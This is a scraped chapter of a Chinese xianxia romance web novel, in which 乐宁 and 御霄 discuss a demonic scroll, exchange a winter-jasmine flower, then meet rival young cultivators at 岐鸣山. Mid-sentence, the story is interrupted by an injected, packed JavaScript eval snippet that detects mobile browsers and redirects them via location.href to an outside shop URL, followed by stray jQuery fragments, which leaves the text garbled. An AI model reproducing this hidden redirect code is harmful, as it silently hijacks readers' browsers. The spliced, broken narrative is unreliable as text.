默认冷灰
24号文字
方正启体

15. 又见“绿茶”

作者:玉山倾本书字数:K更新时间:
    御霄的目光落在她身上只是一瞬便慌忙挪开。


    他当然还喜欢。喜欢得快死了。可他不能说啊!


    他要是说还喜欢,她会觉得他心里装着别人还来撩拨她,坐实了轻浮的罪名。他要是说不喜欢,又显得他用情不专,朝三暮四。


    进退两难,御霄觉得自己像一棵被雷劈过的树,焦头烂额,里里外外都有火燃眉。


    乐宁见他沉默,以为自己说中了——他果然不喜欢她了。那么深的情意,如今也放下了吗?果然啊,时间是个残忍的东西,再深沉的喜欢都经不起时间的摧折。沧海桑田中,没有谁永远记得谁,也没有谁会一直只爱一个人。


    她心里忽然泛起一股说不清的滋味,像吃下刚熟的山楂,口中尚且酸涩就灌下一大杯水,酸涩消减了不少,心情轻松了许多。


    御霄看着她变幻的神色,感觉大事不妙,表面毫无波澜,内心咆哮尖叫。


    不是的,你肯定想错了,不是你想的那样!我喜欢的人是你,从始至终都是你!一千年前是你,现在是你,以后也是你!


    可他满腔衷肠无可诉,全化成了眼底翻涌的情绪。


    “算了,”乐宁把乱七八糟的念头压下去,随手摘了一支门旁的迎春拿在手里,“别人的私事,我不该多问。《梦虚残卷》里还有别的信息吗?”


    御霄眸中悬浮着好些失落,心里念着这件事,心不在焉地答:“没有。”


    乐宁点点头,若有所思:“那就先把我们查到的上报宝箓吧。”


    乐宁取出灵犀宝鉴,将查到的信息简明扼要地汇报了一遍。


    宝箓仙君道:“此事我会禀报天帝。还请二位继续调查,寻找其余旧时形制的道观,进一步确认邪术与徐宏彻之间的关系。若有新发现,立刻上报,不得延误。”


    乐宁点头:“明白。”


    宝箓仙君补充:“《梦虚残卷》暂时由你们保管,任务结束后再归还冥界。”


    御霄原本心猿意马地听着二人说话,此时回过神道:“《梦虚残卷》阴邪之气极重,长久带在身上,恐怕会引来邪物窥探,平添隐患。”


    宝箓仙君听罢,不由轻笑出声,道:“久闻战神谨慎之名,今日得见,果然名不虚传。只是放眼三界,想来也没什么魔物敢贸然觊觎战神手中的物件吧。”


    乐宁心想,虽然“安仕松”的确声名在外,但实力忽高忽低,不能说完全没有风险。


    御霄道:“久持凶邪之物,难保无虞。”


    乐宁对御霄说:“你说的有道理,只是《梦虚残卷》日后或许还会用到,要是用的时候没有,我们还得重新跑到冥界去拿,不仅不方便,还很耽误进程。所以还是带在身上吧,只不过要多加小心。”


    《梦虚残卷》是魔族邪典,阴邪之气极重,带在身上就像揣着一个随时可能爆炸的隐患。他孤身一人在魔族的血雨腥风中浮沉,尸山血海里闯荡,九死一生,早就无所畏惧。可她在身边,他不敢有任何侥幸,半分都不敢赌。


    光是想到她受伤的样子,他就觉得心被攒紧了。


    御霄见乐宁拿定了主意,思索片刻说:“既然如此,《梦虚残卷》就由我携带。”


    乐宁一听,觉得他在暗讽她粗心大意,柳眉一竖,道:“喂!我就那么不值得信赖吗?”


    “……我不是这个意思。”御霄猝不及防。


    乐宁有些失望地说:“我把你当成一个值得托付的同袍,你却不信任我。”


    御霄想开口解释,又怕说出口的话太过亲昵,引起她的反感,几番踌躇,话到嘴边欲言又止。


    乐宁敏锐地捕捉到他这点欲说还休的神色,道:“想说什么直说。”


    御霄眸中绕着几点碎辉,缓缓看向乐宁的眼睛。


    “我不希望站在风口浪尖的是你。”


    乐宁微微怔住,一颗心像被细而软的羽毛挠过,莫名地痒起来,一时间有些不自在。


    她垂下眼,飞快地对宝箓仙君说了一句:“好了,就这样吧。”


    说罢立马伸手一划,灵犀宝鉴暗了下去。


    空气安静了一瞬,几缕温热的春风吹过来,带着迎春花淡淡的香气。香气氤氲在二人之间,让太阳变得更暖了。


    乐宁抬头看着御霄,尽量让自己的声音听起来不别扭:“不好意思,刚才误会你了。”


    御霄声音很轻:“没关系。”


    两个人面对面站着,一时都没说话。乐宁觉得气氛有些微妙的不对劲,下意识将手里捏着的迎春花举起来闻了闻。


    花瓣贴着鼻尖,香气淡淡的甜。


    “好香,”她把花递到御霄面前,“给你。”


    御霄低头看着她递过来的迎春。嫩黄的花瓣在春色里泛着柔柔的光,是方才她从门旁摘的那支。


    他捏着花枝,抬眸看了看她的发髻。两顶雪白的茉莉绒花冠还好好地戴在左右,衬得她整个人清甜又娇俏。他想,她大概是觉得头上带的花不够多,想再添一枝,所以把这支迎春他,叫他给她戴。


    应该是这样,他一边想一边小心翼翼地将那支迎春往她发间插去。


    乐宁被他突如其来的动作弄得一愣,抬起头疑惑地看着他,还没反应过来就感觉迎春已经被他别在了茉莉花冠旁边。


    御霄掠起一个淡笑:“好看。”


    乐宁摸了摸发间多出来的那枝花,哭笑不得地瞪了他一眼:“你干什么呀,我头上已经有茉莉花冠了,我只是觉得这支花挺香,让你拿着闻闻,没别的意思。”


    御霄的脸又开始发烫了。


    他理解错了。


    “我以为你让我给你戴。”说着,御霄抬手摘下那支花。


    乐宁忍俊不禁,嘴角翘起来:“算了算了,戴都戴了,干嘛还摘下来。”


    御霄迟疑了一下,又将花往她头上戴去。


    乐宁见状,拍了一下他的手,噗嗤一声笑出来:“你怎么这么笨呀。”


    御霄的手僵在半空,进也不是退也不是。


    乐宁笑着将他悬在半空的手推到他胸前,开玩笑道:“真想戴你就自己戴。”


    御霄低头看着手心里那枝嫩黄的花,又抬头看了看她。她眉眼弯弯的,脸上还挂着收不住的笑,春光落在她脸上,柔和得像一层薄薄的纱。


    他没有把花往自己头上戴,捻着花枝,轻轻“嗯”了一声,然后小心翼翼地放到鼻尖闻了闻。


    乐宁笑着问:“喜欢这个味道吗?”


    “喜欢。”


    御霄说着,将花轻轻收进了乾坤袋里。放进乾坤袋里的物品不会变质,也不会腐烂。


    乐宁下意识问:“你收起来干嘛?”


    御霄道:“留着。”


    “留着做什么?”


    “闻。”


    她看着他一本正经的样子,心想这人真奇怪,又笑着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405979|200512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说:“到处都是迎春,想闻花香了再摘一支不就行了。”


    “不一样。”御霄道。


    乐宁正准备说几句话打趣他,忽然神色一凛。


    “怎么了?”御霄问。


    “有人闯进了岐鸣山的结界,”乐宁微微蹙眉,望向南方,“先过去看看。”


    御霄正色道:“好。”


    说罢御霄画下传送阵,金光一闪,二人的身影便消失在了荒宅前。


    ——


    到岐鸣山时天色将暮,山中起了风,老树在风中沙沙作响。


    传送阵的光落在驿站附近的一丛树林,乐宁和御霄刚现身就透过树叶看见驿站外围了一大群修士。他们穿着各不相同的道袍,看样子来自不同的门派。


    人群最前面站着一个白发苍苍的老者,身着浅绿色道袍,剑穗上坠着玉牌,玉牌上刻“汀州谢氏”四字。他正神色凝重地望着岐鸣山,他身后的人都敬服地看着他,显然,他是这群人中最德高望重的。


    乐宁和御霄从树丛中走出来,往人群中走去,有不少人与他们擦肩而过,纷纷好奇地打量起他们。


    乐宁拍了拍身前穿着莱阳周氏灰色家袍的中年男人,道:“请问阁下,仙门诸君为何聚在岐鸣山下?”


    中年男人将乐宁从上到下打量了一遍,觉得她面生,又穿着不认识的家族的道袍,心里警惕,全然没有理会她。


    乐宁又问了好几个人,全都惨遭无视。


    “搞什么啊,这么多人没一个理我的。”乐宁忍不住嘀咕。


    好在乐宁没有灰心,准备挤到最前面去打听,忽然听见一声清脆的人声从身后传来。


    “前辈!又见面了!”


    二人应声回头,谢然和谢修远正从人群中挤出来,兴冲冲地朝他们跑来。


    谢然像一头欢快的马驹,又蹦又跳地跑在前面,满脸洋溢着喜悦,谢修远跟在后面快步走着。


    御霄站在原地,看着那两张年轻的面孔朝这边奔来,心里警铃大作。


    怎么又是他们?


    他们怎么在这里?


    阴魂不散啊!


    御霄猛地想起恩师的话,“确保仙子身边只有你一个男人”,随即缓缓环顾四周。


    四周有好多好多男人!下至十几岁,下至几十岁!


    他顿感不妙,这是入了龙潭虎穴,四面楚歌、腹背受敌啊!屋漏偏逢连夜雨,船迟又遇打头风!不仅四面都是虎视眈眈的男人,那两个缠人的绿茶还回来了!


    谢然跑到乐宁面前,笑容满面,眼里直泛光:“乐前辈,岐鸣山这边出了事,我们跟着族里长老过来历练,没想到又遇见你们了!”


    谢修远也走上前,拱手行了一礼:“乐前辈,予前辈,又见面了。”


    乐宁笑着说:“确实很巧啊。”


    御霄看着她对他们笑,下意识朝她靠近了一步,绷着一张脸,目光冷冷扫在谢然和谢修远身上。


    谢然浑然不觉,还热情地跟他打招呼,眼里金光闪闪,溢满了崇拜:“予前辈,我们回去汇报了岐鸣山里的情况,族中老小得知你一击灭魔,无不惊讶!家里的同辈都羡慕我能亲眼见到那场面!你太厉害了,简直就是一骑绝尘!”


    御霄面无表情地“嗯”了一声,心想:别以为说我几句好话,我就会被蒙蔽双眼,识破不了你们的诡计!务必请恩师帮忙想办法,把这些油嘴滑舌之徒一一斥退。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)